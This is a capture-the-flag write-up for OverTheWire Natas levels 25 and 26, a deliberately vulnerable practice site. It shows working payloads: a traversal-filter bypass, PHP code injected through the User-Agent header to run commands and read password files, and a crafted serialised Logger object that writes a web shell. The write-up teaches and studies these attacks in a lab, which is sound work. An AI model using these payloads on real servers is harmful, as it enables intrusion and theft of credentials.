overthewire / natas

Level 25

Looking at the source given to us, we control the lang parameter (e.g. ?lang=de will switch the language to German). We should use this somehow get hold of the natas_webpass file - which means finding a way to make the strstr call evaluate to false.

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }

Bypassing the traversal is rather easy - if your string is ....//bar, the str_replace expression will result in ../bar. Just to prove this out, you can trigger an error with ?lang=....//.. So what next? logRequest looks interesting:

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);

It looks like we could technically have access to our own logs. E.g. if your session cookie is PHPSESSID=nulnhkq2j9fkq5379sv4pd5n34 you can access it via ?lang=....//logs/natas25_nulnhkq2j9fkq5379sv4pd5n34.log:

[28.08.2020 08::57:18] PostmanRuntime/7.26.3 "Directory traversal attempt! fixing request."

That’s cool, but it doesn’t get us the password. And it doesn’t seem we have any way to control $message either. However, there’s this odd looking $_SERVER['HTTP_USER_AGENT']. The User-Agent header is something we fully control and doesn’t seem to be sanitised in any way. This will get written as part of the log and, being loaded with include, essentially means it will execute it as a php file. Does it mean we have command injection? Setting User-Agent to <?php echo implode(",",scandir("."));?> and reading the log gives us:

[28.08.2020 09::00:17] .,..,.htaccess,.htpasswd,index-source.html,index.php,index.php.tmpl,language,logs "Directory traversal attempt! fixing request."

Yay! We can now search for that elusive natas_webpass file using <?php echo exec("find / -name natas_webpass");?> - which tells us it’s under /etc. Now I got stuck for a while there because I didn’t realise this was a directory, not a file >_<. A quick ls reveals the file we need, and <?php echo file_get_contents("/etc/natas_webpass/natas26"); ?> takes care of the rest.

Level 26

The code indicates that if the session cookie for the site contains a key called “drawing”, it will end up calling drawFromUserdata which unserialises a user-controlled payload:

if (array_key_exists("drawing", $_COOKIE)){
	$drawing=unserialize(base64_decode($_COOKIE["drawing"]));

Setting a line from (0,0) to (400,300) creates a drawing cookie encoded as "YTozOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMiI7czoyOiJ4MiI7czozOiIxMDAiO3M6MjoieTIiO3M6MzoiMjAwIjt9aToxO2E6MDp7fWk6MjthOjQ6e3M6MjoieDEiO3M6MToiMCI7czoyOiJ5MSI7czoxOiIwIjtzOjI6IngyIjtzOjM6IjQwMCI7czoyOiJ5MiI7czozOiIzMDAiO319" which decodes to the below (spacing added manually):

a:3:{
i:0;
a:4:{
	s:2:\"x1\";s:1:\"1\";s:2:\"y1\";s:1:\"2\";s:2:\"x2\";s:3:\"100\";s:2:\"y2\";s:3:\"200\";
	}
i:1;
a:0:{}i:2;
a:4:{
	s:2:\"x1\";s:1:\"0\";s:2:\"y1\";s:1:\"0\";s:2:\"x2\";s:3:\"400\";s:2:\"y2\";s:3:\"300\";
	}
}

We can clearly see the 2 lines (one existing, one we added), complete with variable names. The data stored isn’t a custom class but an array - the values of which are a string of length 2 (s:2) with value x1, followed by a string of length 1 (s:1) with value 1 etc…

In order to exploit the deserialisation, we need to use a class that is either present by default or defined in the scope. For this task we are given a Logger class that has the magic __destruct method:

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }  

This gives us control of two things - (1) the name of a file on the server and (2) its content. This may not sound like much but a bit like with the previous level, this should give us the ability to write arbitrary PHP files on the server.

To start, we re-create the Logger object locally and define what the variables should be:

<?php
class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="<?php echo \"w00t\" ?>\n";
            $this->logFile = "img/" . $file . ".php";
        }
    }

$o = new Logger("qmmi2gi7i5621k5cehpjtgrh34");
echo base64_encode(serialize($o));
?>

Where qmmi2gi7i5621k5cehpjtgrh34 is simply my PHPSESSID (not required, but let’s not pollute/risk overwriting someone else’s exploit). Accessing http://natas26.natas.labs.overthewire.org/img/qmmi2gi7i5621k5cehpjtgrh34.php shows this was successful!

All that’s left to do is to change exitMsg to <?php echo file_get_contents("/etc/natas_webpass/natas27"); ?> - and done.